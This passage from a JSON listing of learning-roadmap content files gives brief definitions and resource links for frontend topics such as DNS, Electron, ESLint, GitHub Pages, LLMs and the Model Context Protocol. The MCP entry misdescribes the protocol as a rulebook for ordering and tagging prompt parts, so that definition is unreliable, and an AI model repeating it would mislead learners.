    "path": "src/data/roadmaps/frontend/content/dns-and-how-it-works@hkxw9jPGYphmjhTjw8766.md",
    "content": "# DNS\n\nDNS (Domain Name System) translates human-readable domain names into IP addresses through a global, decentralized server network. Enables easy internet navigation by converting names like [www.example.com](http://www.example.com) to numeric addresses browsers can connect to.\n\nVisit the following resources to learn more:\n\n- [@article@What is DNS?](https://www.cloudflare.com/en-gb/learning/dns/what-is-dns/)\n- [@article@Mess with DNS - DNS Playground](https://messwithdns.net/)\n- [@article@How DNS works (comic)](https://howdns.works/)\n- [@video@DNS and How does it Work?](https://www.youtube.com/watch?v=Wj0od2ag5sk)\n- [@feed@Explore top posts about DNS](https://app.daily.dev/tags/dns?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/docs-generation@q7NpwqQXUp4wt2to-yFiP.md",
    "content": "# Documentation Generation with AI\n\nAI-powered documentation generation leverages machine learning models to automatically create and maintain software documentation. These tools can analyze code, comments, and other project artifacts to produce API references, tutorials, and other types of documentation, reducing the manual effort required and ensuring accuracy and consistency. This helps developers by freeing them from manual tasks and ensuring that their APIs are well documented.\n\nVisit the following resources to learn more:\n\n- [@article@AI code documentation: Benefits and top tips](https://www.ibm.com/think/insights/ai-code-documentation-benefits-top-tips)\n- [@article@AI Code Documentation Generators: A Guide](https://overcast.blog/ai-code-documentation-generators-a-guide-b6cd72cd0ec4)\n- [@article@Automate Your Documentation with Claude Code & GitHub Actions: A Step-by-Step Guide](https://medium.com/@fra.bernhardt/automate-your-documentation-with-claude-code-github-actions-a-step-by-step-guide-2be2d315ed45)\n- [@video@How I Built a Tool to Auto-Generate GitHub Documentation with LLMs](https://www.youtube.com/watch?v=QYchuz6nBR8)\n- [@video@How to Generate API Documentation Using AI](https://www.youtube.com/watch?v=1529XqH50Xs)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/documentation-generation@q7NpwqQXUp4wt2to-yFiP.md",
    "content": "# Documentation Generation with AI\n\nAI-powered documentation generation leverages machine learning models to automatically create and maintain software documentation. These tools can analyze code, comments, and other project artifacts to produce API references, tutorials, and other types of documentation, reducing the manual effort required and ensuring accuracy and consistency. This helps developers by freeing them from manual tasks and ensuring that their APIs are well documented.\n\nVisit the following resources to learn more:\n\n- [@article@AI code documentation: Benefits and top tips](https://www.ibm.com/think/insights/ai-code-documentation-benefits-top-tips)\n- [@article@AI Code Documentation Generators: A Guide](https://overcast.blog/ai-code-documentation-generators-a-guide-b6cd72cd0ec4)\n- [@article@Automate Your Documentation with Claude Code & GitHub Actions: A Step-by-Step Guide](https://medium.com/@fra.bernhardt/automate-your-documentation-with-claude-code-github-actions-a-step-by-step-guide-2be2d315ed45)\n- [@video@How I Built a Tool to Auto-Generate GitHub Documentation with LLMs](https://www.youtube.com/watch?v=QYchuz6nBR8)\n- [@video@How to Generate API Documentation Using AI](https://www.youtube.com/watch?v=1529XqH50Xs)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/electron@mQHpSyMR4Rra4mqAslgiS.md",
    "content": "# Electron\n\nElectron builds cross-platform desktop apps using web technologies (HTML, CSS, JavaScript) with Chromium and Node.js. Provides native OS access and powers apps like VS Code. Enables rapid development but can be resource-intensive. Popular choice for web developers.\n\nVisit the following resources to learn more:\n\n- [@official@Electron Website](https://www.electronjs.org/)\n- [@official@Electron Docs](https://www.electronjs.org/docs/latest/)\n- [@video@Create a Desktop App With JavaScript & Electron](https://www.youtube.com/watch?v=ML743nrkMHw)\n- [@feed@Explore top posts about Electron](https://app.daily.dev/tags/electron?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/eleventy@io0RHJWIcVxDhcYkV9d38.md",
    "content": "# Eleventy\n\nEleventy (11ty) is a flexible static site generator supporting multiple template languages (HTML, Markdown, JavaScript). Creates pages from data sources, adds no client-side JavaScript for fast loading. Highly customizable with useful plugins for navigation and image processing.\n\nVisit the following resources to learn more:\n\n- [@official@Eleventy](https://www.11ty.dev/)\n- [@official@A collection of 11ty starters, projects, plugins, and resources](https://11ty.rocks/)\n- [@video@Introduction to Eleventy](https://www.youtube.com/watch?v=-dM6AmNmMFA)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/esbuild@4W7UXfdKIUsm1bUrjdTVT.md",
    "content": "# esbuild\n\nesbuild is an extremely fast JavaScript bundler and minifier written in Go. Handles modern JavaScript, TypeScript, and JSX with near-instant bundling. Simple API with excellent performance for development and as foundation for other tools. Trades some advanced features for speed.\n\nVisit the following resources to learn more:\n\n- [@course@Let's Learn esbuild! (with Sunil Pai) — Learn With Jason](https://www.youtube.com/watch?v=KLdF1yu_bmI)\n- [@official@Esbuild Website](https://esbuild.github.io/)\n- [@video@What Is ESBuild?](https://www.youtube.com/watch?v=ZY8Vu8cbWF0)\n- [@feed@Explore top posts about Web Development](https://app.daily.dev/tags/webdev?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/eslint@NFjsI712_qP0IOmjuqXar.md",
    "content": "# ESLint\n\nESLint is a JavaScript linter checking code for problems, maintaining consistent style, and finding errors. Highly configurable with custom or preset rules. Supports modern JavaScript, JSX, TypeScript. Integrates with editors and build tools, offers automatic fixing for team consistency.\n\nVisit the following resources to learn more:\n\n- [@official@ESLint Website](https://eslint.org/)\n- [@article@What is ESLint and How to Use ESLint to Detect and Fix Code for JavaScript Projects](https://2coffee.dev/en/articles/what-is-eslint-and-how-to-use-eslint-to-detect-fix-code-for-javascript-projects)\n- [@video@ESLint Quickstart - find errors automatically](https://www.youtube.com/watch?v=qhuFviJn-es)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/fetch-api--ajax-xhr@A4brX0efjZ0FFPTB4r6U0.md",
    "content": "# Fetch API\n\nFetch API is the modern JavaScript interface for making HTTP requests, replacing XMLHttpRequest. Uses Promises for cleaner asynchronous code, supports various data types and HTTP methods. Now the standard for client-server communication with broad browser support.\n\nVisit the following resources to learn more:\n\n- [@article@Fetch API MDN Docs](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)\n- [@article@A Simple Guide to JavaScript Fetch API](https://www.javascripttutorial.net/web-apis/javascript-fetch-api/)\n- [@article@Introduction to Fetch](https://web.dev/introduction-to-fetch/)\n- [@video@JavaScript Fetch API](https://www.youtube.com/watch?v=-ZI0ea5O2oA)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/flutter@2MRvAK9G9RGM_auWytcKh.md",
    "content": "# Flutter\n\nFlutter is Google's cross-platform framework building apps for iOS, Android, web, desktop from single Dart codebase. Features rich widget library, hot reload, and custom rendering engine for consistent UI. Popular for mobile development, expanding to web and desktop platforms.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Flutter Roadmap](https://roadmap.sh/flutter)\n- [@course@Flutter course for beginners](https://www.youtube.com/watch?v=VPvVD8t02U8)\n- [@official@Flutter Website](https://flutter.dev)\n- [@official@Flutter for Desktop](https://flutter.dev/multi-platform/desktop)\n- [@article@12 Ways Flutter Streamlines App Development](https://thenewstack.io/12-ways-flutter-streamlines-app-development/)\n- [@feed@Explore top posts about Flutter](https://app.daily.dev/tags/flutter?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/flutter@dIQXjFEUAJAGxxfAYceHU.md",
    "content": "# Flutter\n\nFlutter is Google's cross-platform framework building apps for iOS, Android, web, desktop from single Dart codebase. Features rich widget library, hot reload, and custom rendering engine for consistent UI. Popular for mobile development, expanding to web and desktop platforms.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Flutter Roadmap](https://roadmap.sh/flutter)\n- [@course@Flutter course for beginners](https://www.youtube.com/watch?v=VPvVD8t02U8)\n- [@official@Flutter Website](https://flutter.dev)\n- [@official@Flutter for Desktop](https://flutter.dev/multi-platform/desktop)\n- [@article@12 Ways Flutter Streamlines App Development](https://thenewstack.io/12-ways-flutter-streamlines-app-development/)\n- [@feed@Explore top posts about Flutter](https://app.daily.dev/tags/flutter?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/forms-and-validations@V5zucKEHnIPPjwHqsMPHF.md",
    "content": "# Forms and Validations\n\nClient-side form validation checks required fields and data formats before server submission. Ensures data integrity, improves user experience with immediate feedback, and reduces server load. Essential for quality data collection and user-friendly interfaces.\n\nVisit the following resources to learn more:\n\n- [@article@MDN Web Docs: Client-side form validation](https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation)\n- [@article@Learn Forms by web.dev](https://web.dev/learn/forms/)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/gemini@Bic4PHhz-YqzPWRimJO83.md",
    "content": "# Gemini\n\nGemini is a family of multimodal large language models (LLMs) developed by Google. These models are designed to handle and understand different types of data, including text, code, images, audio, and video. They are used to build AI-powered features by providing capabilities such as natural language understanding, content generation, and complex reasoning.\n\nVisit the following resources to learn more:\n\n- [@official@Google Gemini](https://gemini.google.com/)\n- [@official@Google Gemini Docs](https://workspace.google.com/solutions/ai/)\n- [@video@Welcome to the Gemini era](https://www.youtube.com/watch?v=_fuimO6ErKI)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/git@R_I4SGYqLk5zze5I1zS_E.md",
    "content": "# Git\n\nGit is a distributed version control system tracking code changes and enabling collaborative development. Features branching, merging, and complete project history. Allows offline work with local repositories. Fast, flexible, and the most popular VCS for software projects.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@article@Git Cheat Sheet](https://cs.fyi/guide/git-cheatsheet)\n- [@article@Tutorial: Git for Absolutely Everyone](https://thenewstack.io/tutorial-git-for-absolutely-everyone/)\n- [@video@Git & GitHub Crash Course For Beginners](https://www.youtube.com/watch?v=SWYqp7iY_Tc)\n- [@feed@Explore top posts about Git](https://app.daily.dev/tags/git?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/github-pages@vpzh9bNXCxgdDFQLsot2_.md",
    "content": "# GitHub Pages\n\nGitHub Pages is a free static site hosting service that takes HTML, CSS, and JavaScript files directly from a GitHub repository and publishes them as a website. It's ideal for hosting project documentation, portfolios, blogs, and other static websites. Pages supports custom domains, HTTPS, and Jekyll for automatic site generation. Each repository can have one project site, while user and organization accounts get one primary site at [username.github.io](http://username.github.io).\n\nVisit the following resources to learn more:\n\n- [@official@GitHub Pages Documentation](https://docs.github.com/en/pages)\n- [@official@GitHub Pages Quickstart](https://docs.github.com/en/pages/quickstart)\n- [@article@How do I use GitHub Pages?](https://developer.mozilla.org/en-US/docs/Learn_web_development/Howto/Tools_and_setup/Using_GitHub_pages)\n- [@video@GitHub Pages Tutorial - Host a Website for Free](https://www.youtube.com/watch?v=8hrJ4oN1u_8)\n- [@video@GitHub Pages - Full Tutorial](https://www.youtube.com/watch?v=o5g-lUuFgpg)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/github@qmTVMJDsEhNIkiwE_UTYu.md",
    "content": "# GitHub\n\nGitHub is the leading Git repository hosting platform for open-source and private projects. Owned by Microsoft since 2018, it's essential for modern software development, project showcasing, and open-source contributions. Central hub for developer collaboration and code sharing.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@GitHub: Quickstart](https://docs.github.com/en/get-started/quickstart/hello-world)\n- [@official@Learn GitHub by doing](https://skills.github.com/)\n- [@video@What is GitHub?](https://www.youtube.com/watch?v=w3jLJU7DT5E)\n- [@feed@Explore top posts about GitHub](https://app.daily.dev/tags/github?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/gitlab@zIoSJMX3cuzCgDYHjgbEh.md",
    "content": "# GitLab\n\nGitLab is a comprehensive DevOps platform offering integrated development tools including Git hosting, CI/CD, issue tracking, and deployment. Available as cloud service or self-hosted solution. Popular with enterprises seeking unified development workflows and built-in automation capabilities.\n\nVisit the following resources to learn more:\n\n- [@official@GitLab Website](https://gitlab.com/)\n- [@official@GitLab Documentation](https://docs.gitlab.com/)\n- [@article@Development: Connect git to GitLab for Small Projects](https://thenewstack.io/development-connect-git-to-gitlab-for-small-projects/)\n- [@feed@Explore top posts about GitLab](https://app.daily.dev/tags/gitlab?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/graphql@L7AllJfKvClaam3y-u6DP.md",
    "content": "# Graphql\n\nGraphQL is Facebook's query language for APIs allowing clients to request exactly the data needed. Reduces over-fetching and under-fetching compared to REST. Ideal for mobile applications, complex APIs, and rapidly changing requirements with strong typing.\n\nVisit the following resources to learn more:\n\n- [@roadmap@visit Dedicated GraphQL Roadmap](https://roadmap.sh/graphql)\n- [@official@Introduction to GraphQL](https://graphql.org/learn/)\n- [@article@Introduction to GraphQL](https://thenewstack.io/introduction-to-graphql/)\n- [@article@How to Execute a Simple GraphQL Query](https://thenewstack.io/how-to-execute-a-simple-graphql-query/)\n- [@video@GraphQL Course for Beginners](https://www.youtube.com/watch?v=ed8SzALpx1Q)\n- [@feed@Explore top posts about GraphQL](https://app.daily.dev/tags/graphql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/how-does-the-internet-work@yCnn-NfSxIybUQ2iTuUGq.md",
    "content": "# How Does The Internet Work\n\nThe internet is a global network connecting computers and devices for information sharing. Enables browsing, email, streaming, and communication through interconnected systems. Acts as worldwide infrastructure facilitating access to online resources and services.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Internet](https://roadmap.sh/guides/what-is-internet)\n- [@article@How does the Internet Work?](https://cs.fyi/guide/how-does-internet-work)\n- [@article@How Does the Internet Work? MDN Docs](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/How_does_the_Internet_work)\n- [@video@How the Internet Works in 5 Minutes](https://www.youtube.com/watch?v=7_LPdttKXPc)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/how-llms-work@yKNdBbahm_h81xdMDT-qx.md",
    "content": "# How LLMs Work\n\nLLMs, or Large Language Models, are advanced AI models trained on vast datasets to understand and generate human-like text. They can perform a wide range of natural language processing tasks, such as text generation, translation, summarization, and question answering. LLMs function as sophisticated prediction engines that process text sequentially, predicting the next token based on relationships between previous tokens and patterns from training data. They don't predict single tokens directly but generate probability distributions over possible next tokens, which are then sampled using parameters like temperature and top-K. The model repeatedly adds predicted tokens to the sequence, building responses iteratively. This token-by-token prediction process, combined with massive training datasets, enables LLMs to generate coherent, contextually relevant text across diverse applications and domains.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated AI Engineer Roadmap](https://roadmap.sh/ai-engineer)\n- [@article@What is a large language model (LLM)?](https://www.cloudflare.com/en-gb/learning/ai/what-is-large-language-model/)\n- [@article@Understanding AI](https://leerob.com/ai)\n- [@article@New to LLMs? Start Here](https://towardsdatascience.com/new-to-llms-start-here/)\n- [@video@How Large Language Models Work](https://www.youtube.com/watch?v=5sLYAQS9sWQ)\n- [@video@Large Language Models Made Easy (LLMs)](https://www.youtube.com/watch?v=osKyvYJ3PRM)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/html-templates@Hk8AVonOd693_y1sykPqd.md",
    "content": "# HTML Templates\n\nThe `<template>` HTML element holds hidden content for later use by JavaScript. Acts as a reusable blueprint for creating dynamic page elements. Enables efficient content templating and component-based development patterns in web applications.\n\nVisit the following resources to learn more:\n\n- [@article@Using Templates and Slots - MDN](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_templates_and_slots)\n- [@feed@Explore top posts about HTML](https://app.daily.dev/tags/html?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/html@yWG2VUkaF5IJVVut6AiSy.md",
    "content": "# HTML\n\nHTML (Hypertext Markup Language) is the standard for creating web pages, structuring content with elements and attributes. Browsers interpret HTML tags to render pages. HTML5, the current standard, adds semantic elements, multimedia support, and form controls. It works with CSS for styling and JavaScript for interactivity, forming web development's foundation.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated HTML Roadmap](https://roadmap.sh/html)\n- [@course@Responsive Web Design Certification - Co-Learn HTML & CSS with guided projects](https://www.freecodecamp.org/learn/2022/responsive-web-design/)\n- [@video@HTML Full Course for Beginners](https://youtu.be/mJgBOIoGihA)\n- [@video@HTML Full Course - Build a Website Tutorial](https://www.youtube.com/watch?v=pQN-pnXPaVg)\n- [@feed@Explore top posts about HTML](https://app.daily.dev/tags/html?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/https@uum7vOhOUR38vLuGZy8Oa.md",
    "content": "# HTTPS\n\nHTTPS (Hypertext Transfer Protocol Secure) is HTTP's encrypted version, securing data transmission between browsers and websites. Essential for protecting sensitive information like banking and email. Ensures privacy and security through data encryption for online communications.\n\nVisit the following resources to learn more:\n\n- [@article@What is HTTPS?](https://www.cloudflare.com/en-gb/learning/ssl/what-is-https/)\n- [@article@Why HTTPS Matters](https://developers.google.com/web/fundamentals/security/encrypt-in-transit/why-https)\n- [@article@Enabling HTTPS on Your Servers](https://web.dev/enable-https/)\n- [@article@How HTTPS works (comic)](https://howhttps.works/)\n- [@video@SSL, TLS, HTTP, HTTPS Explained](https://www.youtube.com/watch?v=hExRDVZHhig)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/implementing-ai@MdYPIf_9ezbIp6Dm5Fyme.md",
    "content": "# Implementing AI\n\nImplementing AI in frontend development involves integrating artificial intelligence capabilities directly into user interfaces and workflows. This can range from simple tasks like intelligent form validation to complex features such as personalized content recommendations or AI-powered chatbots. Several major providers offer generative AI solutions that can be leveraged for frontend implementation, including Google with its AI platform, Antropic with its models like Claude, and OpenAI with its popular GPT series. These tools provide developers with the ability to incorporate AI functionalities to improve user experience and streamline development processes.\n\nVisit the following resources to learn more:\n\n- [@article@Anthropic vs OpenAI vs Gemini: Which Generative AI Model is Right for Enterprise Use?](https://www.aqedigital.com/blog/anthropic-vs-openai-vs-gemini/)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/internet@VlNNwIEDWqQXtqkHWJYzC.md",
    "content": "# Internet\n\nThe Internet is a global network of interconnected computers using TCP/IP protocols, connecting billions of devices worldwide. Revolutionized communication, commerce, education, and entertainment. Enables web browsing, streaming, and diverse applications while presenting privacy and security challenges.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Internet](https://roadmap.sh/guides/what-is-internet)\n- [@article@The Internet](https://en.wikipedia.org/wiki/Internet)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/ionic@xmRv6-L45m5MDpHmdHFCL.md",
    "content": "# Ionic\n\nIonic builds mobile and desktop apps using web technologies (HTML, CSS, JavaScript) with Angular, React, or Vue. Provides UI components and native device access. Wraps web apps for native deployment with platform-adaptive styling. Enables rapid cross-platform development.\n\nVisit the following resources to learn more:\n\n- [@official@Ionic Framework Website](https://ionicframework.com/)\n- [@opensource@ionic-team/ionic-framework](https://github.com/ionic-team/ionic-framework)\n- [@article@Ionic 8 Announcement](https://ionic.io/blog/ionic-8-is-here)\n- [@feed@Explore top posts about Ionic](https://app.daily.dev/tags/ionic?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/javascript@ODcfFEorkfJNupoQygM53.md",
    "content": "# JavaScript\n\nJavaScript is a versatile programming language that makes websites interactive. Runs in browsers, servers (Node.js), and desktop applications. Features dynamic typing, event-driven programming, and constant evolution. Essential for modern web development across frontend and backend.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@article@The Modern JavaScript Tutorial](https://javascript.info/)\n- [@article@Build 30 Javascript projects in 30 days](https://javascript30.com/)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/jest@g5itUjgRXd9vs9ujHezFl.md",
    "content": "# Jest\n\nJest is Facebook's JavaScript testing framework for unit testing with auto mocking, code coverage, and snapshot testing. Works with React, Angular, Vue. Features parallel test execution, watch mode, and built-in assertion library. Top choice for JavaScript developers.\n\nVisit the following resources to learn more:\n\n- [@official@Jest Website](https://jestjs.io/)\n- [@video@JavaScript Testing With Jest](https://youtu.be/IPiUDhwnZxA?si=2_lE2bDo2fRuo2CU)\n- [@feed@Explore top posts about Jest](https://app.daily.dev/tags/jest?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/learn-a-framework@eXezX7CVNyC1RuyU_I4yP.md",
    "content": "# Pick a Framework\n\nWeb frameworks are development toolkits providing libraries, structure, rules, and tools for building applications. Different frameworks offer varying features based on project needs. Popular examples include React, Angular, and Vue, each with unique strengths and capabilities.\n\nVisit the following resources to learn more:\n\n- [@video@15 Crazy New JS Framework Features You Don't Know Yet](https://www.youtube.com/watch?v=466U-2D86bc)\n- [@video@Which JS Framework is Best?](https://www.youtube.com/watch?v=cuHDQhDhvPE)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/learn-dom-manipulation@0MAogsAID9R04R5TTO2Qa.md",
    "content": "# DOM Manipulation\n\nDOM (Document Object Model) represents HTML/XML documents as programmable objects. Enables dynamic manipulation of page structure, content, and styles through JavaScript. Allows interaction with elements, attributes, and events for interactive webpages.\n\nVisit the following resources to learn more:\n\n- [@article@DOM Tree](https://javascript.info/dom-nodes)\n- [@article@Learn the HTML DOM with Exercises - CodeGuage](https://www.codeguage.com/courses/js/html-dom-introduction)\n- [@video@What is DOM, Shadow DOM and Virtual DOM?](https://www.youtube.com/watch?v=7Tok22qxPzQ)\n- [@video@JavaScript DOM Crash Course](https://www.youtube.com/watch?v=0ik6X4DJKCc)\n- [@feed@Explore top posts about DOM](https://app.daily.dev/tags/dom?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/learn-the-basics@PCirR2QiFYO89Fm-Ev3o1.md",
    "content": "# HTML Basics\n\nHTML (HyperText Markup Language) is the structural backbone of webpages, defining content organization. Works with CSS for styling and JavaScript for interactivity. Forms the foundational skeleton of websites, providing semantic structure for web content.\n\nVisit the following resources to learn more:\n\n- [@article@web.dev: Learn HTML](https://web.dev/learn/html)\n- [@video@HTML Full Course - Build a Website Tutorial](https://www.youtube.com/watch?v=kUMe1FH4CHE)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/learn-the-basics@UTupdqjOyLh7-56_0SXJ8.md",
    "content": "# Generative AI for Frontend Development\n\nGenerative AI uses algorithms to create new content, like code or designs, based on the data it's trained on. This means it can help frontend developers by automatically generating things like UI elements, suggesting code snippets, or even creating entire webpage layouts based on specific requirements and examples. Essentially, it's a tool that can automate repetitive tasks and inspire new ideas in the frontend development workflow.\n\nVisit the following resources to learn more:\n\n- [@article@AI in software development - IBM](https://www.ibm.com/think/topics/ai-in-software-development)\n- [@article@AI in software development](https://github.com/resources/articles/ai-in-software-development)\n- [@article@The right way to implement AI into your frontend development workflow](https://blog.logrocket.com/frontend-ai-tools-for-developers/)\n- [@article@5 Best AI Models For Frontend Development and UI Design](https://www.index.dev/blog/ai-models-frontend-development-ui-generation)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/learn-the-basics@YFjzPKWDwzrgk2HUX952L.md",
    "content": "# CSS Basics\n\nCSS (Cascading Style Sheets) styles websites controlling colors, fonts, layouts, and visual design. Essential web technology alongside HTML and JavaScript. Makes frontend attractive and user-friendly through comprehensive visual control and responsive design capabilities.\n\nVisit the following resources to learn more:\n\n- [@article@web.dev — Learn CSS](https://web.dev/learn/css/)\n- [@video@CSS Crash Course For Absolute Beginners](https://www.youtube.com/watch?v=yfoY53QXEnI)\n- [@video@CSS Masterclass - Tutorial & Course for Beginners](https://www.youtube.com/watch?v=FqmB-Zj2-PA)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/learn-the-basics@wQSjQqwKHfn5RGPk34BWI.md",
    "content": "# JavaScript\n\nJavaScript adds interactivity to webpages through sliders, click events, pop-ups, and dynamic behavior. Transforms static HTML structure and CSS styling into interactive, responsive user experiences. Essential for modern web functionality and user engagement.\n\nVisit the following resources to learn more:\n\n- [@article@The Modern JavaScript Tutorial](https://javascript.info/)\n- [@video@JavaScript Tutorial Full Course - Beginner to Pro (2024)](https://www.youtube.com/watch?v=EerdGm-ehJQ)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/lighthouse@dz7_QXoO7X0WmS5xuAhhJ.md",
    "content": "# Lighthouse\n\nLighthouse is an open-source, automated tool for improving the quality of web pages. You can run it against any web page, public or requiring authentication. It has audits for performance, accessibility, progressive web apps, SEO, and more. Lighthouse provides reports with actionable insights to help developers improve their website's user experience.\n\nVisit the following resources to learn more:\n\n- [@official@Lighthouse](https://chromewebstore.google.com/detail/lighthouse/blipmdconlkpinefehnmjammfjpmpbjk?hl=es&pli=1)\n- [@official@Introduction to Lighthouse](https://developer.chrome.com/docs/lighthouse/overview)\n- [@opensource@lighthouse](https://github.com/GoogleChrome/lighthouse)\n- [@article@Google Lighthouse: What It Is & How to Use It](https://www.semrush.com/blog/google-lighthouse/)\n- [@video@What Is Google Lighthouse and How to Use It?](https://www.youtube.com/watch?v=VyaHwvPWuZU)\n- [@video@Use Google Lighthouse to Speed up Site (2025)](https://www.youtube.com/watch?v=_eM7hmORXZA)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/linters--formatters@9VcGfDBBD8YcKatj4VcH1.md",
    "content": "# Linters formatters\n\nLinters and formatters improve code quality by finding errors, bugs, and style issues (linters) and automatically fixing formatting like indentation and spacing (formatters). Ensure consistency, readability, and early error detection. Examples: ESLint, Prettier.\n\nVisit the following resources to learn more:\n\n- [@article@What Is a Linter?](https://www.testim.io/blog/what-is-a-linter-heres-a-definition-and-quick-start-guide/)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/linters-and-formatters@9VcGfDBBD8YcKatj4VcH1.md",
    "content": "# Linters formatters\n\nLinters and formatters improve code quality by finding errors, bugs, and style issues (linters) and automatically fixing formatting like indentation and spacing (formatters). Ensure consistency, readability, and early error detection. Examples: ESLint, Prettier.\n\nVisit the following resources to learn more:\n\n- [@article@What Is a Linter?](https://www.testim.io/blog/what-is-a-linter-heres-a-definition-and-quick-start-guide/)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/location@YbGGYoKJEx29PlvopUBiM.md",
    "content": "# Location API\n\nGeolocation API provides device location (latitude/longitude) using GPS, Wi-Fi, and sensors. Requires user permission for privacy. Enables current location access, position tracking, and distance calculations for location-aware web applications like maps and navigation.\n\nVisit the following resources to learn more:\n\n- [@article@Geolocation API - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation_API)\n- [@article@Geolocation API overview](https://developers.google.com/maps/documentation/geolocation/overview)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/making-layouts@dXeYVMXv-3MRQ1ovOUuJW.md",
    "content": "# Making layouts\n\nWeb layouts arrange content effectively using modern CSS techniques like Flexbox (1D) and CSS Grid (2D). Responsive design adapts to all devices. Frameworks like Bootstrap and Tailwind accelerate development. Good layouts prioritize content hierarchy, user flow, and accessibility.\n\nVisit the following resources to learn more:\n\n- [@article@Learn and Practice Flexbox](https://flexboxfroggy.com/)\n- [@article@The Box Model](https://developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/The_box_model)\n- [@article@Learn CSS Grid - Course](https://cssgrid.io/)\n- [@article@Get on the Grid at Last with the CSS Grid Layout Module](https://thenewstack.io/get-grid-last-css-grid-template-markup/)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/mcp@XFy2gj7DmXeaCoc6MZo_j.md",
    "content": "# Model Context Protocol (MCP)\n\nModel Context Protocol (MCP) is a rulebook that tells an AI agent how to pack background information before it sends a prompt to a language model. It lists what pieces go into the prompt—things like the system role, the user’s request, past memory, tool calls, or code snippets—and fixes their order. Clear tags mark each piece, so both humans and machines can see where one part ends and the next begins. Keeping the format steady cuts confusion, lets different tools work together, and makes it easier to test or swap models later. When agents follow MCP, the model gets a clean, complete prompt and can give better answers.\n\nVisit the following resources to learn more:\n\n- [@course@MCP: Build Rich-Context AI Apps with Anthropic](https://www.deeplearning.ai/short-courses/mcp-build-rich-context-ai-apps-with-anthropic/)\n- [@official@Model Context Protocol](https://modelcontextprotocol.io/introduction)\n- [@opensource@modelcontexprotocol](https://github.com/modelcontextprotocol/modelcontextprotocol)\n- [@article@The Ultimate Guide to MCP](https://guangzhengli.com/blog/en/model-context-protocol)\n- [@article@A Clear Intro to MCP (Model Context Protocol) with Code Examples](https://towardsdatascience.com/clear-intro-to-mcp/)\n- [@article@Model Context Protocol (MCP): A Guide With Demo Project](https://www.datacamp.com/tutorial/mcp-model-context-protocol)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/mobile-apps@VOGKiG2EZVfCBAaa7Df0W.md",
    "content": "# Mobile applications\n\nVisit the following resources to learn more:\n\n- [@official@React Native](https://reactnative.dev/)\n- [@official@Flutter](https://flutter.dev)\n- [@official@Ionic](https://ionicframework.com)\n- [@official@NativeScript](https://nativescript.org/)\n- [@feed@Explore top posts about Mobile Development](https://app.daily.dev/tags/mobile?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/module-bundlers@hkSc_1x09m7-7BO7WzlDT.md",
